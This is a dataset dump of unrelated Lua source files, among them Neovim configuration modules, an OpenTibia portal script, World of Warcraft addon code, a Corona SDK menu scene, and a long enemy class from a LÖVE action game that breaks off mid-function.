content
stringlengths
5
1.05M
return { setup = function() require('user.mappings.custom.alternate').setup() require('user.mappings.custom.autocorrect').setup() require('user.mappings.custom.buffers').setup() require('user.mappings.custom.command').setup() require('user.mappings.custom.escape').setup() require('user.mappings.custom.highlight').setup() require('user.mappings.custom.jumplist').setup() require('user.mappings.custom.lines').setup() require('user.mappings.custom.macro').setup() require('user.mappings.custom.modifiers').setup() require('user.mappings.custom.resize').setup() require('user.mappings.custom.shame').setup() require('user.mappings.custom.tabs').setup() require('user.mappings.custom.visual').setup() end }
local portals = { --Carlin [9069] = {position = Position(32192, 31419, 2), vocation = 2, storage = 10017}, --ice [9070] = {position = Position(32972, 32227, 7), vocation = 2, storage = 10017}, --earth [9071] = {position = Position(32911, 32336, 15), vocation = 1, storage = 10017}, --fire [9072] = {position = Position(33059, 32716, 5), vocation = 1, storage = 10017}, --electric --Thais [9073] = {position = Position(32192, 31419, 2), vocation = 2, storage = 10018}, --ice [9074] = {position = Position(32972, 32227, 7), vocation = 2, storage = 10018}, --earth [9075] = {position = Position(32911, 32336, 15), vocation = 1, storage = 10018}, --fire [9076] = {position = Position(33059, 32716, 5), vocation = 1, storage = 10018}, --electric --Venore [9077] = {position = Position(32192, 31419, 2), vocation = 2, storage = 10019}, --ice [9078] = {position = Position(32972, 32227, 7), vocation = 2, storage = 10019}, --earth [9079] = {position = Position(32911, 32336, 15), vocation = 1, storage = 10019}, --fire [9080] = {position = Position(33059, 32716, 5), vocation = 1, storage = 10019}, --electric --Ab'Dendriel [9081] = {position = Position(32192, 31419, 2), vocation = 2, storage = 10020}, --ice [9082] = {position = Position(32972, 32227, 7), vocation = 2, storage = 10020}, --earth [9083] = {position = Position(32911, 32336, 15), vocation = 1, storage = 10020}, --fire [9084] = {position = Position(33059, 32716, 5), vocation = 1, storage = 10020}, --electric --Kazodron [9085] = {position = Position(32192, 31419, 2), vocation = 2, storage = 10021 }, --ice [9086] = {position = Position(32972, 32227, 7), vocation = 2, storage = 10021}, --earth [9087] = {position = Position(32911, 32336, 15), vocation = 1, storage = 10021}, --fire [9088] = {position = Position(33059, 32716, 5), vocation = 1, storage = 10021}, --electric --Darashia [9089] = {position = Position(32192, 31419, 2), vocation = 2, storage = 10022}, --ice [9090] = {position = Position(32972, 32227, 7), vocation = 2, storage = 10022}, --earth [9091] = {position = Position(32911, 32336, 15), vocation = 1, storage = 10022}, --fire [9092] = {position = Position(33059, 32716, 5), vocation = 1, storage = 10022}, --electric --Ankrahmun [9093] = {position = Position(32192, 31419, 2), vocation = 2, storage = 10023}, --ice [9094] = {position = Position(32972, 32227, 7), vocation = 2, storage = 10023}, --earth [9095] = {position = Position(32911, 32336, 15), vocation = 1, storage = 10023}, --fire [9096] = {position = Position(33059, 32716, 5), vocation = 1, storage = 10023}, --electric --Edron [9097] = {position = Position(32192, 31419, 2), vocation = 2, storage = 10024}, --ice [9098] = {position = Position(32972, 32227, 7), vocation = 2, storage = 10024}, --earth [9099] = {position = Position(32911, 32336, 15), vocation = 1, storage = 10024}, --fire [9100] = {position = Position(33059, 32716, 5), vocation = 1, storage = 10024}, --electric --Liberty Bay [9101] = {position = Position(32192, 31419, 2), vocation = 2, storage = 10025}, --ice [9102] = {position = Position(32972, 32227, 7), vocation = 2, storage = 10025}, --earth [9103] = {position = Position(32911, 32336, 15), vocation = 1, storage = 10025}, --fire [9104] = {position = Position(33059, 32716, 5), vocation = 1, storage = 10025}, --electric --Port Hope [9105] = {position = Position(32192, 31419, 2), vocation = 2, storage = 10026}, --ice [9106] = {position = Position(32972, 32227, 7), vocation = 2, storage = 10026}, --earth [9107] = {position = Position(32911, 32336, 15), vocation = 1, storage = 10026}, --fire [9108] = {position = Position(33059, 32716, 5), vocation = 1, storage = 10026}, --electric --Svargrond [9109] = {position = Position(32192, 31419, 2), vocation = 2, storage = 10027}, --ice [9110] = {position = Position(32972, 32227, 7), vocation = 2, storage = 10027}, --earth [9111] = {position = Position(32911, 32336, 15), vocation = 1, storage = 10027}, --fire [9112] = {position = Position(33059, 32716, 5), vocation = 1, storage = 10027}, --electric --Yalahari [9113] = {position = Position(32192, 31419, 2), vocation = 2, storage = 10028}, --ice [9114] = {position = Position(32972, 32227, 7), vocation = 2, storage = 10028}, --earth [9115] = {position = Position(32911, 32336, 15), vocation = 1, storage = 10028}, --fire [9116] = {position = Position(33059, 32716, 5), vocation = 1, storage = 10028}, --electric --Oramond [9117] = {position = Position(32192, 31419, 2), vocation = 2, storage = 10029}, --ice [9118] = {position = Position(32972, 32227, 7), vocation = 2, storage = 10029}, --earth [9119] = {position = Position(32911, 32336, 15), vocation = 1, storage = 10029}, --fire [9120] = {position = Position(33059, 32716, 5), vocation = 1, storage = 10029} --electric } function onStepIn(creature, item, position, fromPosition) local player = creature:getPlayer() if not player then return true end local portal = portals[item.uid] if not portal or player:getVocation():getBase():getId() ~= portal.vocation or player:getLevel() < 30 then player:teleportTo(fromPosition, true) player:getPosition():sendMagicEffect(CONST_ME_TELEPORT) player:say('Only ' .. (portal.vocation == 1 and 'Sorcerers' or 'Druids') .. ' of level 30 or higher may enter this portal.', TALKTYPE_MONSTER_SAY) return true end player:teleportTo(portal.position) player:getPosition():sendMagicEffect(CONST_ME_TELEPORT) player:setStorageValue(portal.storage, 1) return true end
--[[ BEGIN STANDARD HEADER ]] -- -- Imports local _G = _G local SVC_NAMESPACE = SVC_NAMESPACE -- Isolate the environment setfenv(1, select(2, ...)) --[[ END STANDARD HEADER ]] -- FolderLocation = _G.debugstack():match("ns\\(.-)\\")
local sys = require 'sys' local nvim = require 'neovim' local executable = require('utils.files').executable local is_file = require('utils.files').is_file local getcwd = require('utils.files').getcwd local M = { makeprg = { luacheck = { '--max-cyclomatic-complexity', '20', '--std', 'luajit', '--formatter', 'plain', '--codes', '--ranges', }, }, formatprg = { stylua = { '--indent-type', 'Spaces', '--indent-width', '$WIDTH', '--quote-style', 'AutoPreferSingle', '--column-width', '120', '--call-parentheses', 'None', }, }, } function M.get_formatter() local cmd if executable 'stylua' then cmd = { 'stylua' } local files = { '.stylua.toml', 'stylua.toml' } local dirs = { getcwd() } local buffer = nvim.buf.get_name(0) if buffer ~= '' then table.insert(dirs, 1, require('utils.files').basedir(buffer)) end local found = false for _, config in ipairs(files) do for _, cwd in ipairs(dirs) do local config_path = vim.fn.findfile(config, cwd .. ';') if config_path ~= '' then vim.list_extend(cmd, { '-f', require('utils.files').realpath(config_path) }) found = true break end end if found then break end end if not found then vim.list_extend(cmd, M.formatprg[cmd[1]]) cmd = require('utils.buffers').replace_indent(cmd) end end return cmd end function M.get_linter() local cmd if executable 'luacheck' then cmd = { 'luacheck' } vim.list_extend(cmd, M.makeprg[cmd[1]]) else local exe = { sys.home .. '/.luarocks/bin/luacheck', sys.home .. '/cache/nvim/packer_hererocks/' .. sys.luajit .. '/bin/luacheck', } for i = 1, #exe do if is_file(exe[i]) then cmd = { exe[i] } vim.list_extend(cmd, M.makeprg[cmd[1]]) break end end end return cmd end return M
local AddonName = select(1, ...); local Addon = select(2, ...); -- This will register a callback to Ark with Vendor local function registerArkExtension() local arkExtension = { -- Vendor will check this source is loaded prior to registration. -- It will also be displayed in the Vendor UI. Source = "ArkInventory", Addon = AddonName, -- This is called by Vendor whenever its rules change and Ark needs to redo its classification of items into buckets. OnRuleUpdate = function() assert(ArkInventory and ArkInventory.ItemCacheClear and ArkInventory.Frame_Main_Generate) -- Clear the Ark Inventory item cache, becuase this also caches rule results, which are now invalid becuase our rules changed. ArkInventory.ItemCacheClear() -- After clearing the cache we need to redraw the main window. ArkInventory.Frame_Main_Generate(nil, ArkInventory.Const.Window.Draw.Recalculate) end } assert(Vendor and Vendor.RegisterExtension, "Vendor RegisterExtension not found, cannot register extension: "..tostring(arkExtension.Source)) if (not Vendor.RegisterExtension(arkExtension)) then -- something went wrong end end registerArkExtension() -- The following is the plugin to Ark itself to add a function that runs vendor rules against an item Ark is evaluating. -- Checks if an item is auto-sold by vendor function Addon:Vendor_AutoSell() assert(ArkInventory and ArkInventory.API.InternalIdToBlizzardBagId) local object = ArkInventoryRules.Object; if (not object or not object.loc_id or not object.bag_id or not object.slot_id) then return; end -- Becuase Ark is on another planet and has its own concept of bags, must convert to blizzard bags. local bag = ArkInventory.API.InternalIdToBlizzardBagId( object.loc_id, object.bag_id ) result, ruleid, name = Vendor.EvaluateItem(bag, object.slot_id) if not result then return false else return result > 0 end end -- Empty function to not break Ark local deprecatedMessageDisplayed = false local deprecatedMessage = "ArkInventory rule for Vendor scrap, 'venscrap()' is deprecated and no longer functional. For the future stability of Ark, please remove that rule." function Addon:Vendor_AutoScrap() if not deprecatedMessageDisplayed then DEFAULT_CHAT_FRAME:AddMessage(RED_FONT_COLOR_CODE..deprecatedMessage..FONT_COLOR_CODE_CLOSE) deprecatedMessageDisplayed = true end return false; end if (ArkInventoryRules and Vendor) then local rules = ArkInventoryRules:NewModule(AddonName); function rules:OnEnable() ArkInventoryRules.Register(self, "vensell", Addon.Vendor_AutoSell); ArkInventoryRules.Register(self, "venscrap", Addon.Vendor_AutoScrap); end; end
local composer = require( "composer" ) local scene = composer.newScene() local runtime = require("libraries.runtime") local db = require("libraries.db") runtime.settings["currentscene"] = "controlChoice" local _W = display.contentWidth local _H = display.contentHeight local screenGroup, mainGroup, settingsLabel, playButton local controls1, controls2, controls3, chooseLabel local function buttonTouched(event) local t = event.target local id = t.id if event.phase == "began" then display.getCurrentStage():setFocus( t ) t.isFocus = true t.alpha = 0.7 elseif t.isFocus then if event.phase == "ended" then display.getCurrentStage():setFocus( nil ) t.isFocus = false t.alpha = 1 local b = t.contentBounds if event.x >= b.xMin and event.x <= b.xMax and event.y >= b.yMin and event.y <= b.yMax then if id == "tilt" or id == "tap" or id == "drag" or id == "keyboard" or id == "mouse" then runtime.playSound("select") db.saveSetting("controls", id) composer.gotoScene( "scenes.game", { effect = "crossFade", time = 400 } ) end end end end end function scene:create( event ) screenGroup = self.view mainGroup = display.newGroup() screenGroup:insert(mainGroup) -- Background local background = display.newRect(mainGroup,_W*0.5,_H*0.5,_W,_H) background:setFillColor(0,0,0) settingsLabel = display.newText(mainGroup,"Controls", 0, 0, native.systemFont, 40) settingsLabel.x = _W * 0.5; settingsLabel.y = 60; settingsLabel:setFillColor(1,1,1 ) chooseLabel = display.newText(mainGroup,"Please choose:", 0, 0, native.systemFont, 40) chooseLabel.x = _W * 0.5; chooseLabel.y = 180; chooseLabel:setFillColor(230/255, 230/255, 230/255 ) if system.hasEventSource("accelerometer") and runtime.settings["platform"] ~= "simulator" then controls1 = display.newImageRect(mainGroup,"images/controls_tilt.png", 380, 160) controls1.x, controls1.y = _W * 0.5, _H * 0.35 controls1.id = "tilt" controls1:addEventListener( "touch", buttonTouched ) controls2 = display.newImageRect(mainGroup,"images/controls_drag.png", 380, 160) controls2.x, controls2.y = _W * 0.5, _H * 0.55 controls2.id = "drag" controls2:addEventListener( "touch", buttonTouched ) controls3 = display.newImageRect(mainGroup,"images/controls_tap.png", 380, 160) controls3.x, controls3.y = _W * 0.5, _H * 0.75 controls3.id = "tap" controls3:addEventListener( "touch", buttonTouched ) else controls1 = display.newImageRect(mainGroup,"images/controls_keyboard.png", 380, 160) controls1.id = "keyboard" controls1.x, controls1.y = _W * 0.5, _H * 0.40 controls1:addEventListener( "touch", buttonTouched ) controls2 = display.newImageRect(mainGroup,"images/controls_mouse.png", 380, 160) controls2.id = "mouse" controls2.x, controls2.y = _W * 0.5, _H * 0.70 controls2:addEventListener( "touch", buttonTouched ) end end function scene:show( event ) local phase = event.phase if ( phase == "will" ) then -- Called when the scene is still off screen (but is about to come on screen). elseif ( phase == "did" ) then -- Called when the scene is now on screen. end end function scene:hide( event ) local phase = event.phase if ( phase == "will" ) then -- Called when the scene is on screen (but is about to go off screen). -- Insert code here to "pause" the scene. elseif ( phase == "did" ) then -- Called immediately after scene goes off screen. end end function scene:destroy( event ) -- Called prior to the removal of scene's view ("sceneGroup"). end -- Then add the listeners for the above functions scene:addEventListener( "create", scene ) scene:addEventListener( "show", scene ) scene:addEventListener( "hide", scene ) scene:addEventListener( "destroy", scene ) return scene
Seeker = Object:extend() Seeker:implement(GameObject) Seeker:implement(Physics) Seeker:implement(Unit) function Seeker:init(args) self:init_game_object(args) self:init_unit() if self.boss then self:set_as_rectangle(18, 7, 'dynamic', 'enemy') self:set_restitution(0.5) self.classes = {'mini_boss'} self:calculate_stats(true) self:set_as_steerable(self.v, 1000, 2*math.pi, 2) if self.boss == 'speed_booster' then self.color = green[0]:clone() self.t:every(8, function() if self.silenced or self.barbarian_stunned then return end local enemies = table.head(self:get_objects_in_shape(Circle(self.x, self.y, 128), main.current.enemies), 4) if #enemies > 0 then buff1:play{pitch = random:float(0.95, 1.05), volume = 0.5} HitCircle{group = main.current.effects, x = self.x, y = self.y, rs = 6, color = green[0], duration = 0.1} for _, enemy in ipairs(enemies) do LightningLine{group = main.current.effects, src = self, dst = enemy, color = green[0]} enemy:speed_boost(3 + self.level*0.025 + current_new_game_plus*0.1) end end end) elseif self.boss == 'forcer' then self.color = yellow[0]:clone() self.t:every(6, function() if self.silenced or self.barbarian_stunned then return end local enemies = main.current.main:get_objects_by_classes(main.current.enemies) local x, y = 0, 0 if #enemies > 0 then for _, enemy in ipairs(enemies) do x = x + enemy.x y = y + enemy.y end x = x/#enemies y = y/#enemies else x, y = player.x, player.y end self.px, self.py = x + random:float(-16, 16), y + random:float(-16, 16) self.pull_sensor = Circle(self.px, self.py, 160) self.prs = 0 self.t:tween(0.05, self, {prs = 4}, math.cubic_in_out, function() self.spring:pull(0.15) end) self.t:after(2 - 0.05*7, function() self.t:every_immediate(0.05, function() self.phidden = not self.phidden end, 7) end) self.color_transparent = Color(yellow[0].r, yellow[0].g, yellow[0].b, 0.08) self.t:every(0.08, function() HitParticle{group = main.current.effects, x = self.px, y = self.py, color = yellow[0]} end, math.floor(2/0.08)) self.vr = 0 self.dvr = random:float(-math.pi/4, math.pi/4) force1:play{pitch = random:float(0.95, 1.05), volume = 0.5} self.t:during(2, function(dt) local enemies = self:get_objects_in_shape(self.pull_sensor, main.current.enemies) for _, enemy in ipairs(enemies) do enemy:apply_steering_force(math.remap(enemy:distance_to_point(self.px, self.py), 0, 160, 400, 200), enemy:angle_to_point(self.px, self.py)) end self.vr = self.vr + self.dvr*dt end, function() wizard1:play{pitch = random:float(0.95, 1.05), volume = 0.5} local enemies = self:get_objects_in_shape(self.pull_sensor, main.current.enemies) HitCircle{group = main.current.effects, x = self.x, y = self.y, rs = 6, color = yellow[0], duration = 0.1} for _, enemy in ipairs(enemies) do LightningLine{group = main.current.effects, src = self, dst = enemy, color = yellow[0]} enemy:push(random:float(40, 80), enemy:angle_to_object(main.current.player), true) end self.px, self.py = nil, nil end) end) elseif self.boss == 'swarmer' then self.color = purple[0]:clone() self.t:every(4, function() if self.silenced or self.barbarian_stunned then return end local enemies = table.select(main.current.main:get_objects_by_classes(main.current.enemies), function(v) return v.id ~= self.id and v:is(Seeker) end) local enemy = random:table(enemies) if enemy then HitCircle{group = main.current.effects, x = self.x, y = self.y, rs = 6, color = purple[0], duration = 0.1} LightningLine{group = main.current.effects, src = self, dst = enemy, color = purple[0]} enemy:hit(10000) critter1:play{pitch = random:float(0.95, 1.05), volume = 0.5} critter3:play{pitch = random:float(0.95, 1.05), volume = 0.6} for i = 1, random:int(4, 6) do EnemyCritter{group = main.current.main, x = enemy.x, y = enemy.y, color = purple[0], r = random:float(0, 2*math.pi), v = 8 + 0.1*enemy.level, dmg = 2*enemy.dmg} end end end) elseif self.boss == 'exploder' then self.color = blue[0]:clone() self.t:every(4, function() if self.silenced or self.barbarian_stunned then return end local enemies = table.select(main.current.main:get_objects_by_classes(main.current.enemies), function(v) return v.id ~= self.id and v:is(Seeker) end) local enemy = random:table(enemies) if enemy then HitCircle{group = main.current.effects, x = self.x, y = self.y, rs = 6, color = blue[0], duration = 0.1} LightningLine{group = main.current.effects, src = self, dst = enemy, color = blue[0]} enemy:hit(10000) mine1:play{pitch = random:float(0.95, 1.05), volume = 0.5} ExploderMine{group = main.current.main, x = enemy.x, y = enemy.y, color = blue[0], parent = enemy} end end) elseif self.boss == 'randomizer' then self.t:every_immediate(0.07, function() self.color = _G[random:table{'green', 'purple', 'yellow', 'blue'}][0]:clone() end) self.t:every(6, function() if self.silenced or self.barbarian_stunned then return end local attack = random:table{'explode', 'swarm', 'force', 'speed_boost'} if attack == 'explode' then local enemies = self:get_objects_in_shape(Circle(self.x, self.y, 128), {Seeker}) local enemy = random:table(enemies) if enemy then HitCircle{group = main.current.effects, x = self.x, y = self.y, rs = 6, color = blue[0], duration = 0.1} LightningLine{group = main.current.effects, src = self, dst = enemy, color = blue[0]} enemy:hit(10000) shoot1:play{pitch = random:float(0.95, 1.05), volume = 0.4} local n = 8 + current_new_game_plus*2 for i = 1, n do EnemyProjectile{group = main.current.main, x = enemy.x, y = enemy.y, color = blue[0], r = (i-1)*math.pi/(n/2), v = 125 + 5*enemy.level, dmg = (1 + 0.15*current_new_game_plus)*enemy.dmg} end end elseif attack == 'swarm' then local enemies = self:get_objects_in_shape(Circle(self.x, self.y, 128), {Seeker}) local enemy = random:table(enemies) if enemy then HitCircle{group = main.current.effects, x = self.x, y = self.y, rs = 6, color = purple[0], duration = 0.1} LightningLine{group = main.current.effects, src = self, dst = enemy, color = purple[0]} enemy:hit(10000) critter1:play{pitch = random:float(0.95, 1.05), volume = 0.5} critter3:play{pitch = random:float(0.95, 1.05), volume = 0.6} for i = 1, random:int(4, 6) do EnemyCritter{group = main.current.main, x = enemy.x, y = enemy.y, color = purple[0], r = random:float(0, 2*math.pi), v = 8 + 0.1*enemy.level, dmg = 2*enemy.dmg} end end elseif attack == 'force' then local enemies = self:get_objects_in_shape(Circle(self.x, self.y, 64), {Seeker}) if #enemies > 0 then wizard1:play{pitch = random:float(0.95, 1.05), volume = 0.5} HitCircle{group = main.current.effects, x = self.x, y = self.y, rs = 6, color = yellow[0], duration = 0.1} for _, enemy in ipairs(enemies) do LightningLine{group = main.current.effects, src = self, dst = enemy, color = yellow[0]} enemy:push(random:float(40, 80), enemy:angle_to_object(main.current.player), true) end end elseif attack == 'speed_boost' then local enemies = self:get_objects_in_shape(Circle(self.x, self.y, 128), {Seeker}) if #enemies > 0 then buff1:play{pitch = random:float(0.95, 1.05), volume = 0.5} HitCircle{group = main.current.effects, x = self.x, y = self.y, rs = 6, color = green[0], duration = 0.1} for _, enemy in ipairs(enemies) do LightningLine{group = main.current.effects, src = self, dst = enemy, color = green[0]} enemy:speed_boost(3 + self.level*0.025 + current_new_game_plus*0.1) end end end end) end else self:set_as_rectangle(14, 6, 'dynamic', 'enemy') self:set_restitution(0.5) self.color = red[0]:clone() self.classes = {'seeker'} self:calculate_stats(true) self:set_as_steerable(self.v, 2000, 4*math.pi, 4) end --[[ if random:bool(35) then local n = random:int(1, 3) self.speed_booster = n == 1 self.exploder = n == 2 self.headbutter = n == 3 end ]]-- if self.speed_booster then self.color = green[0]:clone() self.area_sensor = Circle(self.x, self.y, 128) self.t:after({16, 24}, function() self:hit(10000) end) elseif self.exploder then self.color = blue[0]:clone() self.t:after({16, 24}, function() self:hit(10000) end) elseif self.headbutter then self.color = orange[0]:clone() self.last_headbutt_time = 0 local n = math.remap(current_new_game_plus, 0, 5, 1, 0.5) self.t:every(function() return math.distance(self.x, self.y, main.current.player.x, main.current.player.y) < 76 and love.timer.getTime() - self.last_headbutt_time > 10*n end, function() if self.silenced or self.barbarian_stunned then return end if self.headbutt_charging or self.headbutting then return end self.headbutt_charging = true self.t:tween(2, self.color, {r = fg[0].r, b = fg[0].b, g = fg[0].g}, math.cubic_in_out, function() self.t:tween(0.25, self.color, {r = orange[0].r, b = orange[0].b, g = orange[0].g}, math.linear) self.headbutt_charging = false headbutt1:play{pitch = random:float(0.95, 1.05), volume = 0.2} self.headbutting = true self.last_headbutt_time = love.timer.getTime() self:set_damping(0) self:apply_steering_impulse(300, self:angle_to_object(main.current.player), 0.75) self.t:after(0.75, function() self.headbutting = false end) end) end) elseif self.tank then self.color = yellow[0]:clone() self.buff_hp_m = 1.25 + (0.1*self.level) + (0.4*current_new_game_plus) self:calculate_stats() self.hp = self.max_hp local n = math.remap(current_new_game_plus, 0, 5, 1, 0.75) self.t:every({3*n, 5*n}, function() local enemy = self:get_closest_object_in_shape(Circle(self.x, self.y, 64), main.current.enemies) if enemy then wizard1:play{pitch = random:float(0.95, 1.05), volume = 0.5} HitCircle{group = main.current.effects, x = self.x, y = self.y, rs = 6, color = yellow[0], duration = 0.1} LightningLine{group = main.current.effects, src = self, dst = enemy, color = yellow[0]} enemy:push(random:float(30, 50), enemy:angle_to_object(main.current.player), true) end end) elseif self.shooter then self.color = fg[0]:clone() local n = math.remap(current_new_game_plus, 0, 5, 1, 0.5) self.t:after({2*n, 4*n}, function() self.shooting = true self.t:every({4, 6}, function() if self.silenced or self.barbarian_stunned then return end for i = 1, 3 do self.t:after((1 - self.level*0.01)*0.15*(i-1), function() shoot1:play{pitch = random:float(0.95, 1.05), volume = 0.1} self.hfx:use('hit', 0.25, 200, 10, 0.1) local r = self.r HitCircle{group = main.current.effects, x = self.x + 0.8*self.shape.w*math.cos(r), y = self.y + 0.8*self.shape.w*math.sin(r), rs = 6} EnemyProjectile{group = main.current.main, x = self.x + 1.6*self.shape.w*math.cos(r), y = self.y + 1.6*self.shape.w*math.sin(r), color = fg[0], r = r, v = 140 + 3.5*self.level + 2*current_new_game_plus, dmg = (current_new_game_plus*0.05 + 1)*self.dmg, source = 'shooter'} end) end end, nil, nil, 'shooter') end) elseif self.spawner then self.color = purple[0]:clone() end local player = main.current.player if player and player.intimidation and not self.boss and not self.tank then self.buff_hp_m = 0.8 self:calculate_stats() self.hp = self.max_hp end if player and player.vulnerability then self.vulnerable = true end if player and player.temporal_chains then self.temporal_chains_mvspd_m = 0.8 end self.usurer_count = 0 self.curses = {} end function Seeker:update(dt) self:update_game_object(dt) if main.current.mage_level == 2 then self.buff_def_a = -30 elseif main.current.mage_level == 1 then self.buff_def_a = -15 else self.buff_def_a = 0 end if self.headbutt_charging or self.headbutting then self.buff_def_m = 3 end if self.speed_boosting then local n = math.remap(love.timer.getTime() - self.speed_boosting, 0, (3 + 0.025*self.level + current_new_game_plus*0.1), 1, 0.5) self.speed_boosting_mvspd_m = (3 + 0.025*self.level + 0.1*current_new_game_plus)*n if not self.speed_booster and not self.exploder and not self.headbutter and not self.tank and not self.shooter and not self.spawner then self.color.r = math.remap(n, 1, 0.5, green[0].r, red[0].r) self.color.g = math.remap(n, 1, 0.5, green[0].g, red[0].g) self.color.b = math.remap(n, 1, 0.5, green[0].b, red[0].b) end else self.speed_boosting_mvspd_m = 1 end if self.slowed then self.slow_mvspd_m = self.slowed else self.slow_mvspd_m = 1 end self.buff_mvspd_m = (self.speed_boosting_mvspd_m or 1)*(self.slow_mvspd_m or 1)*(self.temporal_chains_mvspd_m or 1)*(self.tank and 0.35 or 1)*(self.deceleration_mvspd_m or 1) self.buff_def_m = (self.seeping_def_m or 1) self:calculate_stats() self.stun_dmg_m = (self.barbarian_stunned and 2 or 1) if self.shooter then self.t:set_every_multiplier('shooter', (1 - self.level*0.02)) end if self.being_pushed then local v = math.length(self:get_velocity()) if v < 25 then if self.push_invulnerable then self.push_invulnerable = false end self.being_pushed = false self.steering_enabled = true self.juggernaut_push = false self.launcher_push = false self:set_damping(0) self:set_angular_damping(0) end else local target = main.current.player if self.taunted then target = self.taunted end if self.taunted and self.taunted.dead then target = main.current.player; self.taunted = nil end if self.headbutt_charging or self.shooting then self:set_damping(10) self:rotate_towards_object(target, 0.5) elseif not self.headbutting then if self.boss then local enemies = main.current.main:get_objects_by_classes(main.current.enemies) local x, y = 0, 0 if #enemies > 1 then for _, enemy in ipairs(enemies) do x = x + enemy.x y = y + enemy.y end x = x/#enemies y = y/#enemies else x, y = target.x, target.y end self:seek_point(x, y) self:wander(10, 250, 3) else self:seek_point(target.x, target.y) self:wander(50, 100, 20) end self:steering_separate(16, main.current.enemies) self:rotate_towards_velocity(0.5) end end self.r = self:get_angle() if self.area_sensor then self.area_sensor:move_to(self.x, self.y) end end function Seeker:draw() graphics.push(self.x, self.y, self.r, self.hfx.hit.x, self.hfx.hit.x) if self.boss then graphics.rectangle(self.x, self.y, self.shape.w, self.shape.h, 4, 4, self.hfx.hit.f and fg[0] or self.color) else graphics.rectangle(self.x, self.y, self.shape.w, self.shape.h, 3, 3, self.hfx.hit.f and fg[0] or self.color) end graphics.pop() if self.px and self.py then if self.phidden then return end graphics.push(self.px, self.py, self.vr, self.spring.x, self.spring.x) graphics.circle(self.px, self.py, self.prs + random:float(-1, 1), yellow[0]) graphics.circle(self.px, self.py, self.pull_sensor.rs, self.color_transparent) local lw = math.remap(self.pull_sensor.rs, 32, 256, 2, 4) for i = 1, 4 do graphics.arc('open', self.px, self.py, self.pull_sensor.rs, (i-1)*math.pi/2 + math.pi/4 - math.pi/8, (i-1)*math.pi/2 + math.pi/4 + math.pi/8, yellow[0], lw) end graphics.pop() end end function Seeker:on_collision_enter(other, contact) local x, y = contact:getPositions() if other:is(Wall) then self.hfx:use('hit', 0.15, 200, 10, 0.1) self:bounce(contact:getNormal()) if self.juggernaut_push then self:hit(self.juggernaut_push) hit2:play{pitch = random:float(0.95, 1.05), volume = 0.35} end if self.launcher_push then self:hit(self.launcher_push) hit2:play{pitch = random:float(0.95, 1.05), volume = 0.35} end if main.current.player.heavy_impact then if self.being_pushed then self:hit(self.push_force) end end if main.current.player.tremor then if self.being_pushed then camera:shake(2, 0.5) earth1:play{pitch = random:float(0.95, 1.05), volume = 0.5} Area{group = main.current.effects, x = self.x, y = self.y, r = self.r, w = 0.75*self.push_force*(main.current.player.area_size_m or 1), color = yellow[0], dmg = self.push_force/2, parent = main.current.player} end end if main.current.player.fracture then if self.being_pushed then trigger:after(0.01, function() earth2:play{pitch = random:float(0.95, 1.05), volume = 0.5} for i = 1, 6 do Projectile{group = main.current.main, x = self.x, y = self.y, color = red[0], r = (i-1)*math.pi/3, v = 200, dmg = 30, parent = main.current.player, pierce = 1} end end) end end if self.headbutter and self.headbutting then self.headbutting = false end elseif table.any(main.current.enemies, function(v) return other:is(v) end) then if self.being_pushed and math.length(self:get_velocity()) > 60 then other:hit(math.floor(self.push_force/4)) self:hit(math.floor(self.push_force/2)) other:push(math.floor(self.push_force/2), other:angle_to_object(self)) HitCircle{group = main.current.effects, x = x, y = y, rs = 6, color = fg[0], duration = 0.1} for i = 1, 2 do HitParticle{group = main.current.effects, x = x, y = y, color = self.color} end hit2:play{pitch = random:float(0.95, 1.05), volume = 0.35} elseif self.headbutting then other:push(math.length(self:get_velocity())/4, other:angle_to_object(self)) HitCircle{group = main.current.effects, x = x, y = y, rs = 6, color = fg[0], duration = 0.1} for i = 1, 2 do HitParticle{group = main.current.effects, x = x, y = y, color = self.color} end hit2:play{pitch = random:float(0.95, 1.05), volume = 0.35} if other:is(Seeker) or other:is(Player) then self.headbutting = false end end elseif other:is(Turret) then self.headbutting = false _G[random:table{'player_hit1', 'player_hit2'}]:play{pitch = random:float(0.95, 1.05), volume = 0.35} self:hit(0) self:push(random:float(2.5, 7), other:angle_to_object(self)) end end function Seeker:hit(damage, projectile, dot) local pyrod = self.pyrod self.pyrod = false if self.dead then return end self.hfx:use('hit', 0.25, 200, 10) if self.push_invulnerable then return end self:show_hp() local actual_damage = math.max(self:calculate_damage(damage)*(self.stun_dmg_m or 1), 0) if self.vulnerable then actual_damage = actual_damage*1.2 end self.hp = self.hp - actual_damage if self.hp > self.max_hp then self.hp = self.max_hp end main.current.damage_dealt = main.current.damage_dealt + actual_damage if dot then self.seeping_def_m = (main.current.player.seeping == 1 and 0.85) or (main.current.player.seeping == 2 and 0.75) or (main.current.player.seeping == 3 and 0.65) or 1 self.t:after(1, function() self.seeping_def_m = 1 end, 'seeping') self.deceleration_mvspd_m = (main.current.player.deceleration == 1 and 0.85) or (main.current.player.deceleration == 2 and 0.75) or (main.current.player.deceleration == 3 and 0.65) or 1 self.t:after(1, function() self.deceleration_mvspd_m = 1 end, 'deceleration') end if projectile and projectile.spawn_critters_on_hit then critter1:play{pitch = random:float(0.95, 1.05), volume = 0.5} trigger:after(0.01, function() for i = 1, projectile.spawn_critters_on_hit do Critter{group = main.current.main, x = self.x, y = self.y, color = orange[0], r = random:float(0, 2*math.pi), v = 10, dmg = projectile.parent.dmg, parent = projectile.parent} end end) end if self.hp <= 0 then self.dead = true for i = 1, random:int(4, 6) do HitParticle{group = main.current.effects, x = self.x, y = self.y, color = self.color} end HitCircle{group = main.current.effects, x = self.x, y = self.y, rs = 12}:scale_down(0.3):change_color(0.5, self.color) _G[random:table{'enemy_die1', 'enemy_die2'}]:play{pitch = random:float(0.9, 1.1), volume = 0.5} if main.current.mercenary_level > 0 then if random:bool((main.current.mercenary_level == 2 and 16) or (main.current.mercenary_level == 1 and 8) or 0) then trigger:after(0.01, function() Gold{group = main.current.main, x = self.x, y = self.y} end) end end if main.current.healer_level > 0 then if random:bool((main.current.healer_level == 2 and 16) or (main.current.healer_level == 1 and 8) or 0) then trigger:after(0.01, function() HealingOrb{group = main.current.main, x = self.x, y = self.y} end) end end if self.boss then slow(0.25, 1) magic_die1:play{pitch = random:float(0.95, 1.05), volume = 0.5} end if self.speed_booster then if self.silenced or self.barbarian_stunned then return end local enemies = self:get_objects_in_shape(self.area_sensor, main.current.enemies) if #enemies > 0 then buff1:play{pitch = random:float(0.95, 1.05), volume = 0.5} HitCircle{group = main.current.effects, x = self.x, y = self.y, rs = 6, color = green[0], duration = 0.1} for _, enemy in ipairs(enemies) do LightningLine{group = main.current.effects, src = self, dst = 